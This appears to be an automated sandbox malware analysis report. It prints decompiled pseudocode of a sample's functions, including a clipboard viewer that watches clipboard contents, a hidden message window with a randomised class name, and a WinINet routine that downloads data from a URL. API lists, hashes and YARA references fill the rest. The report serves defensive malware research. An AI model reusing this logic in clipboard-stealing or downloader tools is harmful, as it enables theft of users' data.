                                                                                                                                                                                                                                                                                                                                                      0x0040418c
                                                                                                                                                                                                                                                                                                                                                      0x004041aa
                                                                                                                                                                                                                                                                                                                                                      0x004041bc
                                                                                                                                                                                                                                                                                                                                                      0x004041bc
                                                                                                                                                                                                                                                                                                                                                      0x0040418e
                                                                                                                                                                                                                                                                                                                                                      0x00404191
                                                                                                                                                                                                                                                                                                                                                      0x0040419e
                                                                                                                                                                                                                                                                                                                                                      0x0040419e
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040415f
                                                                                                                                                                                                                                                                                                                                                      0x00404344
                                                                                                                                                                                                                                                                                                                                                      0x0040435d
                                                                                                                                                                                                                                                                                                                                                      0x0040435d
                                                                                                                                                                                                                                                                                                                                                      0x0040415d
                                                                                                                                                                                                                                                                                                                                                      0x0040413b
                                                                                                                                                                                                                                                                                                                                                      0x004041c7
                                                                                                                                                                                                                                                                                                                                                      0x004041d8
                                                                                                                                                                                                                                                                                                                                                      0x004041ed
                                                                                                                                                                                                                                                                                                                                                      0x00404202
                                                                                                                                                                                                                                                                                                                                                      0x00404204
                                                                                                                                                                                                                                                                                                                                                      0x00404204
                                                                                                                                                                                                                                                                                                                                                      0x004041ef
                                                                                                                                                                                                                                                                                                                                                      0x004041ef
                                                                                                                                                                                                                                                                                                                                                      0x004041ef
                                                                                                                                                                                                                                                                                                                                                      0x004041da
                                                                                                                                                                                                                                                                                                                                                      0x004041da
                                                                                                                                                                                                                                                                                                                                                      0x004041da
                                                                                                                                                                                                                                                                                                                                                      0x0040420f
                                                                                                                                                                                                                                                                                                                                                      0x004042df
                                                                                                                                                                                                                                                                                                                                                      0x004042e3
                                                                                                                                                                                                                                                                                                                                                      0x004042f5
                                                                                                                                                                                                                                                                                                                                                      0x004042f5
                                                                                                                                                                                                                                                                                                                                                      0x00404225
                                                                                                                                                                                                                                                                                                                                                      0x0040422f
                                                                                                                                                                                                                                                                                                                                                      0x00404236
                                                                                                                                                                                                                                                                                                                                                      0x00404247
                                                                                                                                                                                                                                                                                                                                                      0x0040424e
                                                                                                                                                                                                                                                                                                                                                      0x00404255
                                                                                                                                                                                                                                                                                                                                                      0x0040425f
                                                                                                                                                                                                                                                                                                                                                      0x00404266
                                                                                                                                                                                                                                                                                                                                                      0x00404291
                                                                                                                                                                                                                                                                                                                                                      0x00404296
                                                                                                                                                                                                                                                                                                                                                      0x00404299
                                                                                                                                                                                                                                                                                                                                                      0x00404268
                                                                                                                                                                                                                                                                                                                                                      0x0040426c
                                                                                                                                                                                                                                                                                                                                                      0x004042a6
                                                                                                                                                                                                                                                                                                                                                      0x004042ab
                                                                                                                                                                                                                                                                                                                                                      0x004042ae
                                                                                                                                                                                                                                                                                                                                                      0x0040426e
                                                                                                                                                                                                                                                                                                                                                      0x00404272
                                                                                                                                                                                                                                                                                                                                                      0x0040427c
                                                                                                                                                                                                                                                                                                                                                      0x00404281
                                                                                                                                                                                                                                                                                                                                                      0x00404284
                                                                                                                                                                                                                                                                                                                                                      0x00404284
                                                                                                                                                                                                                                                                                                                                                      0x00404272
                                                                                                                                                                                                                                                                                                                                                      0x0040426c
                                                                                                                                                                                                                                                                                                                                                      0x004042b5
                                                                                                                                                                                                                                                                                                                                                      0x004042bb
                                                                                                                                                                                                                                                                                                                                                      0x004042c5
                                                                                                                                                                                                                                                                                                                                                      0x004042cb
                                                                                                                                                                                                                                                                                                                                                      0x004042d7
                                                                                                                                                                                                                                                                                                                                                      0x004042dc
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x004042c5
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00404250
                                                                                                                                                                                                                                                                                                                                                      0x00404238
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040420f
                                                                                                                                                                                                                                                                                                                                                      0x00404145
                                                                                                                                                                                                                                                                                                                                                      0x0040416e
                                                                                                                                                                                                                                                                                                                                                      0x0040417b
                                                                                                                                                                                                                                                                                                                                                      0x00404147
                                                                                                                                                                                                                                                                                                                                                      0x0040414b
                                                                                                                                                                                                                                                                                                                                                      0x004042ff
                                                                                                                                                                                                                                                                                                                                                      0x00404305
                                                                                                                                                                                                                                                                                                                                                      0x00404308
                                                                                                                                                                                                                                                                                                                                                      0x0040430b
                                                                                                                                                                                                                                                                                                                                                      0x00404314
                                                                                                                                                                                                                                                                                                                                                      0x0040431d
                                                                                                                                                                                                                                                                                                                                                      0x00404321
                                                                                                                                                                                                                                                                                                                                                      0x00404330
                                                                                                                                                                                                                                                                                                                                                      0x0040433e
                                                                                                                                                                                                                                                                                                                                                      0x0040433e
                                                                                                                                                                                                                                                                                                                                                      0x0040414b
                                                                                                                                                                                                                                                                                                                                                      0x00000000

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • GetWindowLongW.USER32(?,000000EB), ref: 0040411C
                                                                                                                                                                                                                                                                                                                                                      • SetClipboardViewer.USER32(?), ref: 00404168
                                                                                                                                                                                                                                                                                                                                                      • SetWindowLongW.USER32 ref: 0040417B
                                                                                                                                                                                                                                                                                                                                                      • IsClipboardFormatAvailable.USER32(0000000D), ref: 004041D0
                                                                                                                                                                                                                                                                                                                                                      • OpenClipboard.USER32(00000000), ref: 00404217
                                                                                                                                                                                                                                                                                                                                                      • GetClipboardData.USER32 ref: 00404229
                                                                                                                                                                                                                                                                                                                                                      • RegisterRawInputDevices.USER32(?,00000001,0000000C), ref: 00404330
                                                                                                                                                                                                                                                                                                                                                      • ChangeClipboardChain.USER32(?,?), ref: 0040433E
                                                                                                                                                                                                                                                                                                                                                      • DefWindowProcA.USER32(?,?,?,?), ref: 00404354
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000002.00000002.335311288.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335305099.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335321894.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335326734.0000000000413000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_2_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: Clipboard$Window$Long$AvailableChainChangeDataDevicesFormatInputOpenProcRegisterViewer
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 3549449529-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 01fa11c5008a29a9daddaa3b16646b40c9016a60834e91ba448148f39e751b29
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: d08f3ddc54cbdb9ded0ab450df6d6cb7b6432562a3edf31e0856fd08fd8a07da
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 01fa11c5008a29a9daddaa3b16646b40c9016a60834e91ba448148f39e751b29
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 407120B4A00208EBDB14DFD4D948BEE77B5AB88301F14816AF605B72D0D7799A80CB59
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040DFD0 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 93networkCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 92%
                                                                                                                                                                                                                                                                                                                                                      			E0040DFD0(intOrPtr* __edi) {
				void* __esi;
				void* _t25;
				long _t40;
				intOrPtr* _t53;
				intOrPtr* _t55;
				void* _t56;
				LONG* _t62;

				_t53 = __edi;
				if(__edi == 0 ||  *__edi != 0x494f4350) {
					return _t25;
				} else {
					_t1 = _t53 + 0x20; // 0x20
					EnterCriticalSection(_t1);
					_t55 =  *((intOrPtr*)(__edi + 0x38));
					if(_t55 == 0) {
						L11:
						_t13 = _t53 + 0x20; // 0x20
						LeaveCriticalSection(_t13);
						SetEvent( *(_t53 + 0x10));
						_t56 = 0;
						if( *((intOrPtr*)(_t53 + 4)) <= 0) {
							L14:
							E0040BB80( *((intOrPtr*)(_t53 + 0xc)), 0xffffffff);
							E0040BCC0( *((intOrPtr*)(_t53 + 0xc)));
							CloseHandle( *(_t53 + 8));
							CloseHandle( *(_t53 + 0x10));
							__imp__WSACloseEvent( *((intOrPtr*)(_t53 + 0x18)));
							E004094F0( *((intOrPtr*)(_t53 + 0x14)));
							_t24 = _t53 + 0x20; // 0x20
							DeleteCriticalSection(_t24);
							return E00408B60(_t53);
						}
						do {
							PostQueuedCompletionStatus( *(_t53 + 8), 0, 0, 0);
							_t56 = _t56 + 1;
						} while (_t56 <  *((intOrPtr*)(_t53 + 4)));
						goto L14;
					} else {
						goto L3;
					}
					do {
						L3:
						if( *_t55 == 0x69636c69) {
							if( *((char*)(_t55 + 0x275)) == 0) {
								_t62 = _t55 + 0x21c;
								_t40 = InterlockedExchangeAdd(_t62, 0);
								if(_t40 == 0) {
									 *(_t55 + 0x230) = _t40;
									 *((intOrPtr*)(_t55 + 0x220)) = 1;
									 *((intOrPtr*)(_t55 + 0x228)) = _t55 + 8;
									 *((intOrPtr*)(_t55 + 0x22c)) = 0x200;
									InterlockedIncrement(_t62);
									if(E0040E620(_t55) == 0) {
										InterlockedDecrement(_t62);
									}
								}
							}
						}
						_t55 =  *((intOrPtr*)(_t55 + 0x280));
					} while (_t55 != 0);
					goto L11;
				}
			}










                                                                                                                                                                                                                                                                                                                                                      0x0040dfd0
                                                                                                                                                                                                                                                                                                                                                      0x0040dfd2
                                                                                                                                                                                                                                                                                                                                                      0x0040e107
                                                                                                                                                                                                                                                                                                                                                      0x0040dfe4
                                                                                                                                                                                                                                                                                                                                                      0x0040dfe6
                                                                                                                                                                                                                                                                                                                                                      0x0040dfea
                                                                                                                                                                                                                                                                                                                                                      0x0040dff0
                                                                                                                                                                                                                                                                                                                                                      0x0040dff5
                                                                                                                                                                                                                                                                                                                                                      0x0040e080
                                                                                                                                                                                                                                                                                                                                                      0x0040e080
                                                                                                                                                                                                                                                                                                                                                      0x0040e084
                                                                                                                                                                                                                                                                                                                                                      0x0040e08e
                                                                                                                                                                                                                                                                                                                                                      0x0040e094
                                                                                                                                                                                                                                                                                                                                                      0x0040e099
                                                                                                                                                                                                                                                                                                                                                      0x0040e0b3
                                                                                                                                                                                                                                                                                                                                                      0x0040e0b9
                                                                                                                                                                                                                                                                                                                                                      0x0040e0c2
                                                                                                                                                                                                                                                                                                                                                      0x0040e0d4
                                                                                                                                                                                                                                                                                                                                                      0x0040e0da
                                                                                                                                                                                                                                                                                                                                                      0x0040e0e0
                                                                                                                                                                                                                                                                                                                                                      0x0040e0ea
                                                                                                                                                                                                                                                                                                                                                      0x0040e0f2
                                                                                                                                                                                                                                                                                                                                                      0x0040e0f6
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040e106
                                                                                                                                                                                                                                                                                                                                                      0x0040e0a1
                                                                                                                                                                                                                                                                                                                                                      0x0040e0ab
                                                                                                                                                                                                                                                                                                                                                      0x0040e0ad
                                                                                                                                                                                                                                                                                                                                                      0x0040e0ae
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040dffb
                                                                                                                                                                                                                                                                                                                                                      0x0040dffb
                                                                                                                                                                                                                                                                                                                                                      0x0040e001
                                                                                                                                                                                                                                                                                                                                                      0x0040e023
                                                                                                                                                                                                                                                                                                                                                      0x0040e027
                                                                                                                                                                                                                                                                                                                                                      0x0040e02e
                                                                                                                                                                                                                                                                                                                                                      0x0040e036
                                                                                                                                                                                                                                                                                                                                                      0x0040e03c
                                                                                                                                                                                                                                                                                                                                                      0x0040e042
                                                                                                                                                                                                                                                                                                                                                      0x0040e04c
                                                                                                                                                                                                                                                                                                                                                      0x0040e052
                                                                                                                                                                                                                                                                                                                                                      0x0040e05c
                                                                                                                                                                                                                                                                                                                                                      0x0040e069
                                                                                                                                                                                                                                                                                                                                                      0x0040e06c
                                                                                                                                                                                                                                                                                                                                                      0x0040e06c
                                                                                                                                                                                                                                                                                                                                                      0x0040e069
                                                                                                                                                                                                                                                                                                                                                      0x0040e036
                                                                                                                                                                                                                                                                                                                                                      0x0040e023
                                                                                                                                                                                                                                                                                                                                                      0x0040e072
                                                                                                                                                                                                                                                                                                                                                      0x0040e078
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040dffb

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • EnterCriticalSection.KERNEL32(00000020,0040B840,?,0040EB74), ref: 0040DFEA
                                                                                                                                                                                                                                                                                                                                                      • InterlockedDecrement.KERNEL32(?), ref: 0040E016
                                                                                                                                                                                                                                                                                                                                                      • InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 0040E02E
                                                                                                                                                                                                                                                                                                                                                      • InterlockedIncrement.KERNEL32(?), ref: 0040E05C
                                                                                                                                                                                                                                                                                                                                                      • InterlockedDecrement.KERNEL32(?), ref: 0040E06C
                                                                                                                                                                                                                                                                                                                                                      • LeaveCriticalSection.KERNEL32(00000020,?,0040EB74), ref: 0040E084
                                                                                                                                                                                                                                                                                                                                                      • SetEvent.KERNEL32(?,?,0040EB74), ref: 0040E08E
                                                                                                                                                                                                                                                                                                                                                      • PostQueuedCompletionStatus.KERNEL32(?,00000000,00000000,00000000,?,0040EB74), ref: 0040E0AB
                                                                                                                                                                                                                                                                                                                                                      • CloseHandle.KERNEL32(?,?,?,0040EB74), ref: 0040E0D4
                                                                                                                                                                                                                                                                                                                                                      • CloseHandle.KERNEL32(?,?,?,0040EB74), ref: 0040E0DA
                                                                                                                                                                                                                                                                                                                                                      • WSACloseEvent.WS2_32(?), ref: 0040E0E0
                                                                                                                                                                                                                                                                                                                                                      • DeleteCriticalSection.KERNEL32(00000020,?,?,?,0040EB74), ref: 0040E0F6
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000002.00000002.335311288.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335305099.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335321894.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335326734.0000000000413000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_2_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: Interlocked$CloseCriticalSection$DecrementEventHandle$CompletionDeleteEnterExchangeIncrementLeavePostQueuedStatus
                                                                                                                                                                                                                                                                                                                                                      • String ID: PCOI$ilci
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 2403999931-3762367603
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 7b85398a4c6017b866a0663d3a458e4260b57b9ca8504ec30086d2deaf649513
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: c7027fb7f2896e8f2c2eb0808d59b3608ae9b6344484860e629dc12536fd183a
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 7b85398a4c6017b866a0663d3a458e4260b57b9ca8504ec30086d2deaf649513
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 80318771900715ABC720AF71E848F97B7A8BF08300F04892AE599A7691C779F864CB98
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00404360 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 73windowsleepregistryCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 68%
                                                                                                                                                                                                                                                                                                                                                      			E00404360() {
				struct HWND__* _v8;
				struct tagMSG _v36;
				struct _WNDCLASSEXW _v84;
				short _v596;
				unsigned int _t20;
				void* _t39;
				void* _t40;

				do {
					_v84.cbSize = 0;
					memset( &(_v84.style), 0, 0x2c);
					_t40 = _t39 + 0xc;
					_v84.cbSize = 0x30;
					_v84.lpfnWndProc = E00404110;
					_v84.hInstance = GetModuleHandleW(0);
					_v84.lpszClassName =  &_v596;
					do {
						Sleep(1);
						_t20 = GetTickCount();
						wsprintfW( &_v596, L"%x%X", GetTickCount(), _t20 >> 1);
						_t40 = _t40 + 0x10;
					} while ((RegisterClassExW( &_v84) & 0x0000ffff) == 0);
					_v8 = CreateWindowExW(0, _v84.lpszClassName, 0, 0, 0, 0, 0, 0, 0xfffffffd, 0, _v84.hInstance, 0);
					if(_v8 != 0) {
						while(GetMessageA( &_v36, 0, 0, 0) > 0) {
							TranslateMessage( &_v36);
							DispatchMessageA( &_v36);
						}
						goto L7;
					}
					break;
					L7:
				} while (0 != 0);
				ExitThread(0);
			}










                                                                                                                                                                                                                                                                                                                                                      0x00404369
                                                                                                                                                                                                                                                                                                                                                      0x00404369
                                                                                                                                                                                                                                                                                                                                                      0x00404378
                                                                                                                                                                                                                                                                                                                                                      0x0040437d
                                                                                                                                                                                                                                                                                                                                                      0x00404380
                                                                                                                                                                                                                                                                                                                                                      0x00404387
                                                                                                                                                                                                                                                                                                                                                      0x00404396
                                                                                                                                                                                                                                                                                                                                                      0x0040439f
                                                                                                                                                                                                                                                                                                                                                      0x004043a2
                                                                                                                                                                                                                                                                                                                                                      0x004043a4
                                                                                                                                                                                                                                                                                                                                                      0x004043aa
                                                                                                                                                                                                                                                                                                                                                      0x004043c6
                                                                                                                                                                                                                                                                                                                                                      0x004043cc
                                                                                                                                                                                                                                                                                                                                                      0x004043dc
                                                                                                                                                                                                                                                                                                                                                      0x00404402
                                                                                                                                                                                                                                                                                                                                                      0x00404409
                                                                                                                                                                                                                                                                                                                                                      0x0040440d
                                                                                                                                                                                                                                                                                                                                                      0x00404425
                                                                                                                                                                                                                                                                                                                                                      0x0040442f
                                                                                                                                                                                                                                                                                                                                                      0x0040442f
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040440d
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00404437
                                                                                                                                                                                                                                                                                                                                                      0x00404437
                                                                                                                                                                                                                                                                                                                                                      0x00404441

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000002.00000002.335311288.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335305099.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335321894.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335326734.0000000000413000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_2_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: Message$CountTick$ClassCreateDispatchExitHandleModuleRegisterSleepThreadTranslateWindowmemsetwsprintf
                                                                                                                                                                                                                                                                                                                                                      • String ID: %x%X$0
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 716646876-225668902
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 1be0a28896d58379dce222b4fa4e2dc6b64525eee7932dd8d05c2ac19e785193
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 38065e7ea4c3cb18e3dcb6505b957afac4f73b5dab79f8681fd6a3e1bf06ac9c
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 1be0a28896d58379dce222b4fa4e2dc6b64525eee7932dd8d05c2ac19e785193
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 6F2118B0A40308BFDB149BE0DC4DFEE7B78BB44701F548529F601B61D0DBB995858B69
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040C150 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 130networkfileCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                                                                      control_flow_graph 544 40c150-40c1eb memset InternetCrackUrlA InternetOpenA 545 40c1f1-40c224 InternetConnectA 544->545 546 40c367-40c370 544->546 547 40c35a-40c361 InternetCloseHandle 545->547 548 40c22a-40c25a HttpOpenRequestA 545->548 547->546 549 40c260-40c277 HttpSendRequestA 548->549 550 40c34d-40c354 InternetCloseHandle 548->550 551 40c340-40c347 InternetCloseHandle 549->551 552 40c27d-40c281 549->552 550->547 551->550 553 40c336 552->553 554 40c287 552->554 553->551 555 40c291-40c298 554->555 556 40c329-40c334 555->556 557 40c29e-40c2c0 InternetReadFile 555->557 556->551 558 40c2c2-40c2c9 557->558 559 40c2cb 557->559 558->559 560 40c2cd-40c324 call 408a50 memcpy 558->560 559->556 560->555
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 82%
                                                                                                                                                                                                                                                                                                                                                      			E0040C150(char* _a4, char** _a8) {
				char _v260;
				char _v772;
				long _v776;
				void* _v780;
				intOrPtr _v792;
				char* _v796;
				signed short _v816;
				intOrPtr _v820;
				char* _v824;
				void _v836;
				void* _v840;
				void* _v844;
				void* _v848;
				char* _v852;
				void _v1876;
				long _v1880;
				void* _t91;
				void* _t92;

				_v776 = 0;
				_v840 = 0;
				memset( &_v836, 0, 0x38);
				_t92 = _t91 + 0xc;
				_v840 = 0x3c;
				_v824 =  &_v260;
				_v820 = 0x100;
				_v796 =  &_v772;
				_v792 = 0x200;
				InternetCrackUrlA(_a4, 0, 0x10000000,  &_v840);
				_v780 = InternetOpenA(0, 1, 0, 0, 0);
				if(_v780 != 0) {
					_v844 = InternetConnectA(_v780,  &_v260, _v816 & 0x0000ffff, 0, 0, 3, 0, 0);
					if(_v844 != 0) {
						_v848 = HttpOpenRequestA(_v844, "GET",  &_v772, 0, 0, 0, 0, 0);
						if(_v848 != 0) {
							if(HttpSendRequestA(_v848, 0, 0, 0, 0) != 0) {
								if(_a8 == 0) {
									_v776 = 1;
								} else {
									_v852 = 0;
									while(1 != 0) {
										_t87 = _v848;
										if(InternetReadFile(_v848,  &_v1876, 0x400,  &_v1880) != 0 && _v1880 != 0) {
											_v776 = E00408A50(_v776, _t87, _v776,  &(_v852[_v1880]));
											memcpy( &(_v852[_v776]),  &_v1876, _v1880);
											_t92 = _t92 + 0x14;
											_v852 =  &(_v852[_v1880]);
											continue;
										}
										break;
									}
									 *_a8 = _v852;
								}
							}
							InternetCloseHandle(_v848);
						}
						InternetCloseHandle(_v844);
					}
					InternetCloseHandle(_v780);
				}
				return _v776;
			}





















                                                                                                                                                                                                                                                                                                                                                      0x0040c159
                                                                                                                                                                                                                                                                                                                                                      0x0040c163
                                                                                                                                                                                                                                                                                                                                                      0x0040c178
                                                                                                                                                                                                                                                                                                                                                      0x0040c17d
                                                                                                                                                                                                                                                                                                                                                      0x0040c180
                                                                                                                                                                                                                                                                                                                                                      0x0040c190
                                                                                                                                                                                                                                                                                                                                                      0x0040c196
                                                                                                                                                                                                                                                                                                                                                      0x0040c1a6
                                                                                                                                                                                                                                                                                                                                                      0x0040c1ac
                                                                                                                                                                                                                                                                                                                                                      0x0040c1c8
                                                                                                                                                                                                                                                                                                                                                      0x0040c1de
                                                                                                                                                                                                                                                                                                                                                      0x0040c1eb
                                                                                                                                                                                                                                                                                                                                                      0x0040c217
                                                                                                                                                                                                                                                                                                                                                      0x0040c224
                                                                                                                                                                                                                                                                                                                                                      0x0040c24d
                                                                                                                                                                                                                                                                                                                                                      0x0040c25a
                                                                                                                                                                                                                                                                                                                                                      0x0040c277
                                                                                                                                                                                                                                                                                                                                                      0x0040c281
                                                                                                                                                                                                                                                                                                                                                      0x0040c336
                                                                                                                                                                                                                                                                                                                                                      0x0040c287
                                                                                                                                                                                                                                                                                                                                                      0x0040c287
                                                                                                                                                                                                                                                                                                                                                      0x0040c291
                                                                                                                                                                                                                                                                                                                                                      0x0040c2b1
                                                                                                                                                                                                                                                                                                                                                      0x0040c2c0
                                                                                                                                                                                                                                                                                                                                                      0x0040c2e9
                                                                                                                                                                                                                                                                                                                                                      0x0040c30a
                                                                                                                                                                                                                                                                                                                                                      0x0040c30f
                                                                                                                                                                                                                                                                                                                                                      0x0040c31e
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040c31e
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040c2c0
                                                                                                                                                                                                                                                                                                                                                      0x0040c332
                                                                                                                                                                                                                                                                                                                                                      0x0040c332
                                                                                                                                                                                                                                                                                                                                                      0x0040c281
                                                                                                                                                                                                                                                                                                                                                      0x0040c347
                                                                                                                                                                                                                                                                                                                                                      0x0040c347
                                                                                                                                                                                                                                                                                                                                                      0x0040c354
                                                                                                                                                                                                                                                                                                                                                      0x0040c354
                                                                                                                                                                                                                                                                                                                                                      0x0040c361
                                                                                                                                                                                                                                                                                                                                                      0x0040c361
                                                                                                                                                                                                                                                                                                                                                      0x0040c370

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • memset.NTDLL ref: 0040C178
                                                                                                                                                                                                                                                                                                                                                      • InternetCrackUrlA.WININET(0040CF69,00000000,10000000,0000003C), ref: 0040C1C8
                                                                                                                                                                                                                                                                                                                                                      • InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0040C1D8
                                                                                                                                                                                                                                                                                                                                                      • InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040C211
                                                                                                                                                                                                                                                                                                                                                      • HttpOpenRequestA.WININET(00000000,GET,?,00000000,00000000,00000000,00000000,00000000), ref: 0040C247
                                                                                                                                                                                                                                                                                                                                                      • HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0040C26F
                                                                                                                                                                                                                                                                                                                                                      • InternetReadFile.WININET(00000000,?,00000400,?), ref: 0040C2B8
                                                                                                                                                                                                                                                                                                                                                      • memcpy.NTDLL(00000000,?,00000000), ref: 0040C30A
                                                                                                                                                                                                                                                                                                                                                      • InternetCloseHandle.WININET(00000000), ref: 0040C347
                                                                                                                                                                                                                                                                                                                                                      • InternetCloseHandle.WININET(00000000), ref: 0040C354
                                                                                                                                                                                                                                                                                                                                                      • InternetCloseHandle.WININET(00000000), ref: 0040C361
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000002.00000002.335311288.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335305099.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335321894.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000002.00000002.335326734.0000000000413000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_2_2_400000_wsysrxvcs.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
